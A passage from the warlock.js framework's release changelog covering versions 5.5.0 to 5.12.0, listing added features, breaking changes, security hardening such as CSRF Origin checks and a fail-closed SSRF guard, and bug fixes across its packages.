    • AddedcascadeScopedBudgetStore({ model }) / cascadeScopedBudgetStore({ table }) — a lazy optional Cascade ledger with atomic conditional reservations. Its backing table needs a unique (key, windowStart, unit) index.
    • Fixed@warlock.js/cache marked optional in peerDependenciesMeta — every runtime import of it in src is import type (structural typing only, e.g. config.ts, memory/*.ts, rag/**); @warlock.js/cache is never required to resolve at runtime for a consumer that doesn't opt into cache-backed features. @warlock.js/logger stays a required (non-optional) peer: several modules (config.ts, agent/agent.ts, eval/eval-runner.ts, workflow/engine.ts, planner/planner.ts, planner/planner-run.ts, supervisor/execution.ts) import its log value statically at the top level, so the package must be resolvable at load time.
    @warlock.js/cacheChanged 1
    • ChangedPortable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.
    @warlock.js/contextChanged 1
    • ChangedPortable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.
    @warlock.js/fsChanged 1
    • ChangedPortable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.
    @warlock.js/heraldChanged 1
    • ChangedPortable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.
    @warlock.js/loggerFixed 1
    • FixedUse the package-resolved TypeScript binary for type checking.
    @warlock.js/notificationsFixed 1
    • FixedRestored the portable typecheck script after Core's path-alias resolver was made safe for an absent first target.
    @warlock.js/sealFixed 1
    • FixedUse the package-resolved TypeScript binary for type checking.
    5.12.0
    September 16, 2026

    The authenticated user moves from request.user to request.locals.user (BREAKING, @warlock.js/core / @warlock.js/auth / @warlock.js/access), @warlock.js/auth adds a CSRF Origin check for cookie-authenticated writes plus setAuthCookie() / clearAuthCookie(), and @warlock.js/web ships an opt-in server-side page cache, defer()-ed streaming data with crawler-aware inlining, scroll restoration and locale-direction (RTL) support. @warlock.js/core adds opt-in request tracing and a CSP header; create-warlock scaffolds non-interactively by default and fixes a fresh-scaffold npm run seed failure. Generator matrix ran subset scope (baseline, web rows) against the staged candidate, authorised by Hasan on 2026-09-16: "Yes do it please, don't release before completing all mising points and make sure you have covered everything in the tasks board."

    Full release notes or run npx warlock release-notes.

    @warlock.js/webAdded 9Changed 3Fixed 2
    • AddedEmitted scripts carry the request's CSP nonce.
    • Added<ClientOnly> and useIsClient() — render browser-only UI with a server fallback and no hydration mismatch.
    • Addeddefer() in page loaders — stream a slow top-level loader key in after the shell instead of blocking the first byte on it, read it with React's use() inside <Suspense>. A rejection or a web.streaming.deferTimeout timeout resolves to the nearest <Suspense> error boundary with status 200 already sent, never a different HTTP status. Client navigations stream the same values as NDJSON automatically. metadata() may read only resolved keys — reading a deferred one throws DeferredKeyInMetadataError, naming the key and the page, in dev and in production. See the stream-deferred-data skill.
    • AddedScroll position is restored on back/forward client navigation, keyed per history entry and persisted to sessionStorage. New navigations scroll to the top, or to the hash fragment when there is one.
    • AddedlocaleDirection(locale) and useTextDirection(): one locale-to-direction resolver shared by server and client. Root templates set <html lang={locale} dir={useTextDirection()}>.
    • AddedchangeLocaleCode(code) switches the active locale without a full reload. The server persists the choice in its locale cookie when a navigation data request carries ?locale=.
    • AddedPage requests report loader (per level), render.shell and stream.end phases through core's http.tracing hooks when tracing is enabled (off by default).
    • Addedweb.streaming.crawlers — a detected crawler's full-document request now gets every defer()-ed value awaited and inlined in the HTML before the first byte, so indexing needs nothing else; a rejection renders the ordinary error boundary with its real status. The document still carries the normal __WARLOCK_DEFER__ settlement scripts so a JS-capable crawler hydrates use(data.key) through the existing registry same as any other visitor. Detection is case-insensitive against a documented built-in user-agent list (googlebot, bingbot, yandex, duckduckbot, baiduspider, slurp, applebot, facebookexternalhit, twitterbot, linkedinbot, discordbot, slackbot, telegrambot, whatsapp, embedly, pinterest); set crawlers: false to disable detection, or crawlers: { userAgents, detect } to customise it — detect wins outright when given. A page that uses defer() now sends Vary: User-Agent on its document response; a page that never defers is unaffected. See the stream-deferred-data skill's "Crawlers" section.
    • AddedA server-side page cache, opt-in per route. Extends route.cache with serverCache?: boolean, tags?: string[] | ((data) => string[]), and an optional ttl — separate from public/maxAge, which only decide the downstream CDN's Cache-Control. A serverCache route holds its resolved document AND x-warlock-data JSON, and serves a HIT without re-running loaders or rendering. The cache key is the normalised path, sorted query, resolved locale and representation (html/json); a request for the NDJSON representation is served the fully-resolved json variant instead of streaming. A request carrying an Authorization header or the configured auth cookie (auth.cookie.name, default access_token) always bypasses the cache, before any loader runs. Storage requires GET, status === 200, no Set-Cookie, and a provably unauthenticated request — the same fail-closed rule already governing Cache-Control. Responses carry a new x-warlock-cache: hit | miss | bypass header. Invalidate stored entries with invalidatePageCache(tags), imported from the server-only subpath @warlock.js/web/page-cache (it reaches @warlock.js/cache, so it stays off the client-reachable root barrel). @warlock.js/cache is an optional peer, loaded only when a route actually opts in; enabling serverCache with an in-process cache driver (memory/LRU/memory-extended) in a clustered deployment logs a one-time warning, since invalidation on one worker never reaches another — use a shared driver (redis/pg) for cluster-wide invalidation. See the create-a-page skill's "Server-side page cache" section.
    • ChangedThe page-data wire format is now devalue, not plain JSON. Dates, Maps and Sets (and BigInts, undefined inside an object, repeated references, and cyclic structures) now arrive in the browser intact — as real Date/Map/Set instances, not flattened strings or dropped keys — for appData, layoutData, pageData, and a defer()red value's settlement, on the initial document, a client navigation's data response, and its NDJSON stream. A loader value devalue cannot serialize (a class instance it does not recognize, a function, a symbol) now fails the build loudly in dev and production, naming the loader level (app/layout/page), the key path, and the page route — give it a resource or a toJSON() instead. shared is unaffected: it keeps its own, stricter gate. See the load-page-data skill's "What survives the wire" section.
    • ChangedThe dev and production page installers now share the layout-prefix table and the not-found route's options instead of implementing each twice; parity checks cover both.
    • ChangedPages are rendered with React's streaming renderer. The response still waits for loaders, validation and middleware, so status codes, headers and cookies are unchanged — the document simply starts arriving sooner.
    • Fixeddocument.documentElement's lang/dir now follow a client-side locale switch — changeLocaleCode(), and any navigation or refresh whose payload carries a different locale. Previously useLocale()/useTextDirection() updated in-page immediately, but documentElement kept the last full load's lang/dir until a reload, because root.tsx sits outside the hydrated subtree.
    • FixedA page middleware that short-circuits a full page load now always answers with something, never a silently empty document. Previously, a middleware that returned a value WITHOUT writing the reply itself (e.g. response.setStatusCode(403); return { error }, or a plain return { message }) produced a blank document at that status — the returned value was recorded but never used. A middleware that already wrote its own reply (response.redirect(), .forbidden(), any call reaching .send()) was and is unaffected: the wire already carried the real answer. Now: a >= 400 short-circuit renders your error.page.tsx boundary with that status and the returned value attached to the error; a 2xx short-circuit sends the returned value as the body, unchanged (JSON-stringified if it's an object) — a page middleware returning 2xx content replaces the page. Client navigations (data requests) are byte-identical to before.
    @warlock.js/authAdded 1Changed 1Security 2
    • AddedauthService.setAuthCookie(response, token, options?) and authService.clearAuthCookie(response, options?) — the write side of the cookie:<name> token source authMiddleware([], "cookie:<name>") has accepted since 5.0.0 (card 50bf4f1a). setAuthCookie accepts a raw token string or an AccessTokenOutput (deriving Max-Age from expiresAt automatically); both are explicit app-controller calls — login/logout never set cookies implicitly, so upgrading never starts emitting Set-Cookie for an existing bearer-only app. Cookie name/path are configurable via the new auth.cookie config block (defaults: "access_token" / "/"); attribute flags (HttpOnly, SameSite=Lax, Secure outside dev) are not — they come from core's secureCookieDefaults(), the framework-wide floor.
    • ChangedBREAKING: the authenticated user now lives at request.locals.user, declared by @warlock.js/auth. request.user is removed (in development it throws with the new location). @warlock.js/auth's middleware writes request.locals.user after a successful token resolution and clears it (= undefined) on a forged, malformed, expired, or wrong-type token; RequestUser — the augmentable, empty-by-default interface apps narrow to their own model — moved from @warlock.js/core into @warlock.js/auth alongside it.
    • SecurityCSRF Origin check for cookie-authenticated writes. authMiddleware now automatically rejects, with 403 (AuthErrorCodes.CsrfOriginMismatch, "EC006"), any request whose credential came from a cookie: source and whose method is unsafe (POST/PUT/PATCH/DELETE) unless Origin (or, absent that, Referer) names the request's own origin or an entry in the new auth.csrf.allowedOrigins config (default []). A request with neither header is rejected, fail-closed. Header-token authentication and safe methods (GET/HEAD/OPTIONS) are completely unaffected. This closes the residual CSRF gap SameSite=Lax alone leaves open for cookie auth (a same-site GET redirect chain, or a client that ignores SameSite); a double-submit token mechanism is deferred to a later release.
    • SecurityThe CSRF Origin check's own-origin comparison includes the request's port (read from the Host header, since core's request.hostname never carries one), with default ports (:80 on http, :443 on https) normalised as equivalent to no port. A same-origin cookie-authenticated write on a non-default port — e.g. every warlock dev session — is now correctly allowed instead of being rejected with 403 EC006.
    @warlock.js/coreAdded 3Changed 2Fixed 3
    • AddedOpt-in request tracing (http.tracing): vendor-neutral onRequestStart / onRequestEnd / onPhase hooks fired around route.match, middleware, validation, handler, and response.write, with the trace id derived from an inbound W3C traceparent header (falling back to request.id). Off by default and zero-overhead when disabled; a throwing hook is caught and reported once, never breaking the request. No new response header — apps still correlate through the existing X-Request-Id echo. See the request-tracing skill.
    • AddedOpt-in Content-Security-Policy header (http.csp), using the per-request nonce the framework already generates; report-only mode supported.
    • AddedResponse.streamReact() and the underlying streamReactResponse() helper (@warlock.js/core's Stage 1 streaming SSR seam): pipe a React server stream (renderToPipeableStream) onto the raw response after writing the already-committed status and headers, aborting the render if the client disconnects. @warlock.js/web uses this exclusively to stream a page document — it never touches the raw response itself.
    • Changedcontainer.get(key) now throws a named error when the key is not registered, instead of returning undefined while typed as present. Use container.tryGet(key) where the value is genuinely optional.
    • ChangedBREAKING: request.user and clearCurrentUser() removed from the HTTP request; RequestUser moved to @warlock.js/auth. The authenticated user now lives at request.locals.user, a key @warlock.js/auth declares via module augmentation on RequestLocals and writes from its middleware. Reading request.user in development throws a new RequestUserMovedError naming request.locals.user (kept for one release as a migration diagnostic; removal is documented, not silent). decodedAccessToken and its cache-mark behavior (request.locals.authDerived) are unchanged. useCurrentUser() / requestContext.getUser() now read request.locals.user and return unknown/the caller's generic instead of the removed RequestUser type — see @warlock.js/auth's currentUser() for a typed wrapper.
    • FixedRenaming or moving a file under warlock dev no longer prints a false ENOENT failure before the route is rewired.
    • Fixedwarlock routes --json now prints only JSON on stdout. The › Running <command>... header moved to stderr, like the completion banner.
    • FixedProduction build contribution hooks (generate / emit) saw outFile, entryPath, singleBundle, esmShim and banner as undefined, because bundling deleted them from the shared build options. The bundler now works on its own copy.
    create-warlockChanged 1Fixed 1
    • Changedcreate-warlock asks at most one question (API-only or full-stack web); every other choice is a flag with a default, printed after scaffolding. Fully non-interactive with --yes; --interactive restores the long form; --agents picks agent-kit targets (default claude).
    • Fixednpm run seed failed on a fresh scaffold: the generated userSchema required image and lastLogin, but neither the seed data nor a password login ever supplies them. Both are now .optional() on the model — image is still required at registration by the controller's own create-user.schema.ts, and lastLogin is only ever written by the social-login handler, so a user who has never logged in correctly has neither.
    @warlock.js/accessChanged 1
    • ChangedFollows @warlock.js/core and @warlock.js/auth's 5.12.0 move of the authenticated user from request.user to request.locals.user: gate() / gateAny() / gateAll() now read request.locals.user instead of the removed request.user. No change to can() / canAny() / canAll() themselves, and no change to the app-side contract — an app still augments RequestUser (now declared by @warlock.js/auth) to its own Auth-derived model.
    @warlock.js/fsFixed 1
    • FixedAtomic writes on Windows no longer fail intermittently with EPERM / EBUSY when another process briefly holds the target; the rename is retried with a short backoff, and a clear AtomicWriteError is thrown if it never succeeds.
    5.11.0
    September 14, 2026

    A page load that fails validation now renders your error page with status 400 instead of a blank page (@warlock.js/web), v.boolean().accepted() / .declined() now accept the form strings they advertise (@warlock.js/seal), and @warlock.js/cascade's pg / mongodb drivers are optional peers so a no-database project installs cleanly. warlock dev reloads backend files sooner and prints hmr update only once the change is live; create-warlock drops the misleading guardedAdmin() helper.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webChanged 2
    • ChangedA page load that fails validation now renders your error.page.tsx with status 400 and the validation errors, instead of a blank 400 response. Client navigations are unchanged. If you relied on the empty body, check your error page handles a 400.
    • ChangedThe dev and production page installers now compose a layout level's middleware and loaders through one shared rule, and a parity check covers middleware and loaders as well as rendering and prefixes.
    @warlock.js/sealFixed 1
    • Fixedv.boolean().accepted() / .declined() (and their conditional variants) rejected every string form they advertised — "yes", "on", "1" — because the boolean type rule ran first. They now parse those form values into a real boolean.
    @warlock.js/cascadeFixed 1
    • FixedA project that uses no database — or only one of PostgreSQL / MongoDB — no longer fails npm ls with missing pg / mongodb peers; both drivers are now optional peers, and you install the one you use.
    @warlock.js/coreAdded 1Changed 1Fixed 1
    • AddedTests and documentation for optional file fields: v.file().optional() skips an absent upload and reports a present non-file value as a normal validation error.
    • ChangedBackend file changes are picked up sooner in warlock dev (event debounce 150ms → 50ms).
    • Fixedwarlock dev printed hmr update for a backend file before the new code was live, so a request made right after the line could still get the old response. The line now prints once the reload has finished and shows how long it took.
    create-warlockRemoved 1
    • RemovedThe generated guardedAdmin() router helper. It only checked that the user was signed in — any user type — while its name and /admin prefix implied an admin-only area. New projects get guarded() (any authenticated user) and a documented example for restricting a group to a user type. Existing projects keep their own copy of the file; review it if you used guardedAdmin.
    5.10.0
    September 14, 2026

    @warlock.js/seal adds v.boolean().coerce() for query-string booleans ("true"/"1" → true, "false"/"0" → false), strict by default. @warlock.js/web pins one 400 for a page whose validation = { params, query } fails in both parts and corrects the load-page-data skill; create-warlock ships a formatted postgres template.

    Full release notes or run npx warlock release-notes.

    @warlock.js/sealAdded 1
    • Added.coerce() on v.boolean() — opt-in query-string coercion ("true"/"1" → true, "false"/"0" → false).
    @warlock.js/webFixed 1Removed 1
    • FixedThe load-page-data skill described the withdrawn { schema }-only validation shape and a 422 status; it now documents validation = { params, query } and its single 400.
    • RemovedUnused internal RouteValidationError.
    create-warlockFixed 1
    • FixedA postgres scaffold shipped src/config/database.postgres.ts unformatted, so a new project's first dev run flagged it. The template is formatted, and the template-format check now runs as part of create-warlock's own test suite.
    5.9.0
    September 14, 2026

    @warlock.js/seal adds opt-in query-string coercion — v.int().coerce() (and the number family) parse a numeric-shaped string into a number while strict validation stays the default. @warlock.js/web now warns when a .client module is reached from the server import graph (the suffix is a developer marker, not enforced isolation) and pins dev/prod route-table parity as an always-on gate; @warlock.js/auth documents one app-owned optional-auth middleware as the sanctioned pattern, with auth.pageAuth as its adapter.

    Full release notes or run npx warlock release-notes.

    @warlock.js/sealAdded 1
    • Added.coerce() modifier on the number validators (int / number / float / numeric): opt into parsing a numeric-shaped string (e.g. a query-string param) into a number while the type rule stays strict. v.int() is unchanged by default; chain .coerce() to accept "2" as 2. The inferred output type is unaffected.
    @warlock.js/webAdded 1
    • AddedDev diagnostic when a .client module is reached from the server import graph. The .client suffix is a developer marker, not enforced isolation (the import graph decides where code runs); this emits a named, non-fatal warning identifying the offending edge instead of silently over-promising.
    5.8.0
    September 13, 2026

    Auth token migrations now match your user model's primary key (integer or uuid), fixing a fresh app's first login, and a guarded page can redirect a logged-out browser to a login route (opt-in auth.pageAuth). Custom warlock <command> files resolve the app/* alias, --db=postgres scaffolds a real Postgres config/database.ts, and dev SSR no longer flashes unstyled. Fixes across core, auth, web, cascade and create-warlock.

    Full release notes or run npx warlock release-notes.

    @warlock.js/authAdded 1Fixed 1
    • AddedGuarded page routes can redirect a logged-out browser to a configurable login path instead of returning a raw JSON 401 — opt-in via auth.pageAuth.loginPath (API routes still return the JSON 401).
    • FixedThe access_tokens / refresh_tokens migrations now derive the user_id column type from the user model's primary key (via foreignId), so a fresh app with an integer-PK user can log in — the hardcoded uuid user_id previously failed the first login with no diagnostic.
    @warlock.js/coreAdded 1Changed 1Fixed 5
    • Addeddoctor gains a jwt-secret check: it fails when auth.userType is configured but no JWT signing secret is set — the pre-flight form of the silent first-login 500 the lazy secret resolution would otherwise throw.
    • ChangedThe emitted generator and starter templates no longer carry a redundant .required() — @warlock.js/seal fields are required by default, so the call was a no-op that taught the opposite of the truth. .required() still exists for setting a custom message.
    • FixedCLI command modules now resolve the app/* path alias and .ts siblings the way controllers and pages do. The ESM loader hook is registered before a command module is imported, so a warlock <command> file that imports app/* no longer dies with ERR_MODULE_NOT_FOUND.
    • Fixedwarlock generate.* error hints point at generate, not the removed create.* command.
    • FixedA generated CRUD repository imports every @warlock.js/core type it references, and a generated seed stub ships disabled so an unfilled stub cannot abort the whole warlock seed run.
    • FixedThe HTTP-port preflight runs only for a boot that actually starts the http connector, so a scoped data command (warlock seed, migrate) no longer probes — and collides with — a port it never binds.
    • FixedA port-in-use error now names the HTTP_PORT environment variable and tells you to unset it when an ambient value is the cause, instead of advising a src/config/http.ts edit that the environment variable would just override.
    @warlock.js/cascadeAdded 1Fixed 1
    • AddedMigration.foreignId(name) derives a foreign-key column's type from migrationDefaults.primaryKey, so FK columns match the app's chosen primary-key type (integer / bigInteger / uuid).
    • FixedNumeric-looking Postgres connection config (e.g. a numeric DB_NAME) is coerced to a string via buildPostgresPoolConfig, instead of crashing the driver with an inscrutable buffer error.
    @warlock.js/webFixed 2
    • FixedDev SSR now emits the page's stylesheet <link> in <head>, fixing a cold module-graph flash-of-unstyled-content — the first paint of a page whose CSS is reached only through the module graph is now styled in development, as it already was in production.
    • FixedA dev-mode SSR render error now reaches an unconditional stderr floor with a real diagnostic, instead of a diagnostic-free generic 500.
    5.7.0
    September 12, 2026

    A fresh project installs again on Node 22, the SSRF guard now fails closed on an address it cannot classify, and @warlock.js/web withdraws the 5.6.0-added route.validate / route.middleware — a page still declaring either refuses to boot. Fixes across core, web, ai, cascade, cache, logger, access, ai-openai and create-warlock.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webChanged 1Fixed 4Removed 1
    • ChangedThe dev and production page installers now agree on the layout chain, the layout level, and the hydration entry URL by construction rather than by inspection, each gated with a red control. The three places they still differ — live public/ serving, its cache header, and hashed-asset caching — are deliberate and are now declared in the code that implements them.
    • FixedDev and production agree about stylesheets. A stylesheet reached only through a component import was collected by production's bundler-graph walk and was structurally invisible to dev's scan of the page file — so a page rendered unstyled in development and correct in production. Both sides now end in one traversal, gated by a fixture built through both pipelines with the outputs diffed.
    • FixedA client navigation whose data payload is incomplete now loads the page normally instead of rendering it blank. Navigation carried its own copy of the payload rule and checked two of the six required keys, so a payload that could not render a page was accepted and handed to React anyway; the failure surfaced later, somewhere else, pointing at nothing. It now falls back to a full page load — slower for that one click, and the page arrives.
    • FixedThe dev server no longer says it is watching for changes while it is not yet serving. On a slow boot that line arrived up to three minutes before the port was bound; every word of it was true and the impression it left was false.
    • FixedThe create-a-page skill and llms-full.txt taught route.validate and route.middleware — with a complete worked example — after both were withdrawn. Following our own documentation produced an app that would not start.
    • Removedroute.validate and route.middleware are withdrawn, one release after 5.6.0 added them. They were a second way to say what the top-level validation and middleware exports already said, on the same file — and the two validation surfaces disagreed about the status code. Migration is a move, not a rewrite: the schema shape is unchanged (params and query stay separate, never merged) and the failure is still 400.
    @warlock.js/coreChanged 1Fixed 5Security 1
    • ChangedInternal type-safety hardening across the CLI, dev server and request handling; no other behaviour change.
    • FixedThe dev server no longer says it is watching for changes before it is serving. On a slow boot that line could arrive minutes before the port was bound.
    • FixedThe dev-server error formatter can no longer throw while formatting an error, which replaced the developer's real error with its own crash.
    • Fixedwarlock add with an unknown feature now names it, instead of dying with Cannot read properties of undefined.
    • FixedBracket-notation request bodies (items[0][name]) no longer silently drop values.
    • Fixedwarlock routes and the circular-import report degrade to unaligned output instead of throwing on an unexpected shape.
    • SecurityThe SSRF guard now fails closed on an address it cannot classify. An unclassifiable IP was previously treated as public, so an outbound request could reach an internal address the guard exists to block.
    @warlock.js/cascadeChanged 1Fixed 4
    • ChangedInternal type-safety hardening elsewhere; no other behaviour change.
    • FixedThe Postgres query builder could quote a malformed or empty field path straight into generated SQL, producing a syntactically valid query against the wrong identifier; it now throws naming the offending field path instead.
    • FixedThe MongoDB pipeline builder could build $group, $lookup, $limit/$skip/$setWindowFields stages from an empty operation group, producing malformed stages (e.g. { $limit: undefined }, a $lookup with no from/localField/foreignField) that MongoDB rejected only at query execution. These now resolve to the documented safe defaults (null/skip) instead.
    • FixedThe dirty-change tracker and the MongoDB migration driver could write or delete the literal key "undefined" on a document when a dirty-path segment was missing, instead of leaving the real field untouched.
    • FixedThe query builder's count and JSON-projection handling could dereference an absent regex capture and throw, instead of falling back to the same empty result its other branches already return.
    @warlock.js/aiChanged 2
    • ChangedBreaking: indexing (rag and the skills catalogue) now throws EmbeddingVectorCountMismatchError when an embedding provider returns fewer vectors than records, instead of silently storing/scoring a record with no vector. Previously the run reported success while a document was left out of the index entirely.
    • ChangedInternal type-safety hardening; no other behaviour change.
    @warlock.js/ai-openaiFixed 2
    • Fixedembed() on a provider response with an empty data array now throws EmbeddingVectorCountMismatchError naming the provider and expected/received counts, instead of a bare TypeError: Cannot read properties of undefined (reading 'embedding').
    • FixedChat completions on a provider response with an empty choices array now throw a ProviderError naming the provider, model, and choice count, instead of a bare TypeError.
    @warlock.js/cacheChanged 1Fixed 1
    • ChangedInternal type-safety hardening elsewhere (similarity scoring, percentile calculation); no behaviour change.
    • FixedThe in-memory cache driver's expiry sweep iterated for...in while deleting entries from the same object it was iterating, which could skip not-yet-visited keys and leave them cached past their TTL. It now snapshots entries first.
    @warlock.js/loggerChanged 1Fixed 1
    • ChangedInternal type-safety hardening in the file-log and JSON file-log channels; no behaviour change.
    • Fixedredact() could leave a field un-redacted — writing to the literal key "undefined" instead of the intended path segment — when a configured redaction path had an empty segment.
    create-warlockFixed 2
    • FixedA freshly scaffolded project could fail npm install outright on Node 22, crashing inside npm 10.9.x's Arborist peer resolver with Cannot read properties of null (reading 'edgesOut') while resolving the template's vitest dependency. The template now pins vitest to 4.0.5.
    • FixedWhen the generated project's install failed, the scaffolder told the user to "fix the error above, then run the install again" — advice that could not be followed for an npm-internal crash. It now recognizes the npm 10.9.x Arborist crash and points to concrete next steps (npm 11, pnpm, or yarn) instead.
    @warlock.js/accessFixed 1
    • FixedresolvePermissions could push undefined into a role's permission list when the role's stored value was missing, instead of granting that role no permissions. A role that cannot be read now grants nothing, rather than risking an undefined entry reaching a permission check downstream.
    @warlock.js/ai-deepseekChanged 1
    • ChangedInternal type-safety hardening; no behaviour change.
    @warlock.js/ai-groqChanged 1
    • ChangedInternal type-safety hardening; no behaviour change.
    @warlock.js/ai-mistralChanged 1
    • ChangedInternal type-safety hardening; no behaviour change.
    @warlock.js/ai-xaiChanged 1
    • ChangedInternal type-safety hardening; no behaviour change.
    @warlock.js/contextChanged 1
    • ChangedInternal type-safety hardening; no behaviour change.
    @warlock.js/heraldChanged 1
    • ChangedInternal type-safety hardening; no behaviour change.
    @warlock.js/sealChanged 1
    • ChangedInternal type-safety hardening; no behaviour change.
    5.6.0
    September 8, 2026

    A built app could not boot under a strict pnpm tree. warlock build reported success and warlock start died with ERR_MODULE_NOT_FOUND for @fastify/http-proxy — the bundler left every bare specifier for the *app* to resolve, the framework's own dependencies included, and those resolve by accident under npm/yarn hoisting but cannot resolve under pnpm. Externality is now decided per import edge. Wildcard paths in your tsconfig.json (app/*, web/*) were resolved by nothing and reached the artifact as bare specifiers; they resolve now, and one that matches no file is a build error rather than a silent external. In @warlock.js/web: every rendered page returned 500 in warlock dev because the client boundary was decided by file location instead of the import graph, page files were discovered and ignored in silence, and a page can now declare its own input contract through route.validate and route.middleware.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreChanged 2Fixed 5
    • Changedresponse.clearCookies() documents what it cannot do, in its first sentence: a cookie set on one path is not cleared by a call made from another. The behaviour is unchanged — the promise it appeared to make was never one it could keep.
    • ChangedThe router folds its own route prefixes through the same normaliser the rest of the framework uses, so a prefix cannot be normalised two different ways.
    • FixedA production build asked the APP to resolve packages only the framework declares, so a built app could not boot under a strict pnpm tree. Every bare specifier was left external, including the @fastify/*, find-my-way, fast-jwt and @mongez/* imports that reach the bundle through the framework's own code — none of which an app has any reason to declare. Under npm/yarn hoisting they resolved by accident; under pnpm the app died with ERR_MODULE_NOT_FOUND at startup, after a build that reported success. Externality is now decided per import edge: a bare specifier stays external unless the importer is not the app's own code AND the specifier names a package that importer's own dependencies declare.
    • FixedAn optional peer still stays external, and now by construction rather than by a list. nodemailer, socket.io, mongodb, vite, redis, pg, the AI SDKs and @aws-sdk/* are declared as peer dependencies, never dependencies, so the rule above leaves every one of them alone without anyone having to maintain a list of their names.
    • FixedWildcard paths in tsconfig.json were resolved by nothing. app/* and web/* — the aliases an app uses to refer to its own source — were skipped because esbuild's alias option cannot express a wildcard, and nothing took over. import { User } from "app/users/models/user.model" survived into the artifact as a bare specifier and warlock start failed with Cannot find package 'app'. They now resolve, and a wildcard that matches a declared alias but resolves to no file is a build error rather than a silent external.
    • Fixedresponse.setLocale() wrote the locale cookie under a name spelled independently of the one request read it back under. One constant now owns that name at both ends, with a test that reads back whatever the writer emitted rather than naming the cookie itself.
    • FixedA container lookup that missed reported only that the key was not bound. When more than one copy of @warlock.js/core is loaded — which a source checkout or a mixed install can produce — that message described a real condition as if it were a wiring mistake. The failure now names the duplicate-instance condition and how many copies it found, on the failure path only.
    @warlock.js/webAdded 2Changed 4Fixed 7
    • AddedA page can declare its input contract on its route export. The export now accepts an object as well as a string: { path, name?, cache?, validate?, middleware? }. validate is a Seal schema over { params, query } — kept separate, never merged — and the validated value reaches the loader typed from the schema. A failure renders the error page at 400 carrying the failure, and travels the same way over the client-navigation wire. Layout middleware runs outermost-first with the page's own last, so a layout's auth gate cannot be bypassed by a page that declares its own.
    • AddeduseQueryString(key) — a subscription to one query-string parameter that re-renders on client navigation. Wiring it up exposed that routerEvents was only ever fired by refresh(): <Link> and browser back/forward emitted nothing, so anything subscribed to navigation silently never updated. Navigation now emits its events on every path.
    • ChangedThe dev and production page installers now share their composition rules — layout-level selection, loader folding, route identity, and the duplicate-route message — instead of implementing them twice. A route collision reported in dev used to quote a dev-only file path in a message production also raises.
    • ChangedThe published ./vite subpath is a barrel again: the connector no longer authors Vite plugins, so importing the runtime never drags the build tooling in behind it.
    • ChangedImporting the metadata linter no longer pulls 4544 modules and 18 MB into a build-tool module for the sake of one function; it now costs 17 modules.
    • ChangedOne name for one thing: "runtime" everywhere, hydration/ renamed to entry/, and four files renamed to match what they contain.
    • FixedEvery rendered page returned 500 in warlock dev. The dev server decided the client/server boundary by FILE LOCATION — anything under src/web/** was treated as inherently client-safe — which contradicts the rule the production build applies and made a server-only import reachable from the client graph. Dev now decides the boundary by the import graph, exactly as production does.
    • FixedA page route could not be served at all in warlock dev. The handler read the Fastify instance from the container while running inside Vite's SSR module graph, where that lookup can never hit. The instance is now resolved on the Node side and handed in.
    • FixedPage files were ignored in silence. A *.page.tsx or a layout under src/app//web/ was discovered by nothing and reported by nothing — an app with seven pages served zero. Discovery now NAMES every file it ignores, at boot, and for a layout it says what was lost: its prefix, middleware and loader apply to no page, so a guard a page relied on is silently absent.
    • FixedA file added to public/ after the last build 404'd in production with no diagnostic. The build-time snapshot is deliberate and stays — but production now names the files its snapshot missed instead of failing them wordlessly.
    • FixedOne page that fails to import no longer takes the whole dev boot down with it.
    • FixedWriting to shared from the browser failed with a message that read as a fixable wiring bug — "the server bootstrap must call connectSharedStore(...)". It now names the value, explains that what the client holds is a dead server-render snapshot that can never be written to, and says what to use instead.
    • FixedThe public/ staleness check runs on every client build rather than only some.
    @warlock.js/sealFixed 1
    • Fixedwarlock build and warlock start died inside Seal before any application code ran, with a ReferenceError from array-validator.ts extending BaseValidator before base-validator.ts had finished evaluating. The cause was one inline type import: under verbatimModuleSyntax, import { type ValidateOptions } from "./validators" is emitted as a real side-effect import, which closed an import cycle that a type-only import would never have created. Written as import type { ... }, the module is not pulled into evaluation at all. Nothing about the validators changed — only which modules load, and when.
    5.5.0
    September 7, 2026

    Two fixes for things that damaged or misled you. warlock add web silently overwrote an existing src/app/contact module — it protected src/web/root.tsx from clobbering your work but wrote the contact route and controller unconditionally; each file is now guarded on its own, and a skip tells you the contact form’s endpoint is missing rather than just naming a file. And the documentation shipped inside every package told you to run pnpm-specific commands — including pnpm warlock routes --json, which cannot work under npm at all — so 188 of them across 281 files are now package-manager neutral, with a check that keeps them that way.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreFixed 2
    • Fixedwarlock add web silently overwrote an existing src/app/contact module. It guarded src/web/root.tsx against clobbering a human's work but wrote the contact route and controller unconditionally, destroying them without a word. Each file is now guarded on its own existence, and a skip reports the consequence — that the contact form's POST /api/contact endpoint is missing and the form will 404 until you wire it.
    • FixedDocumentation shipped in skills/ told users to run pnpm-specific commands — including pnpm warlock routes --json, which cannot work under npm at all, since pnpm <binary> has no npm equivalent. Commands are now package-manager neutral.
    @warlock.js/ai-workspaceFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/authFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/cacheFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/cascadeFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/contextFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/fsFixed 1
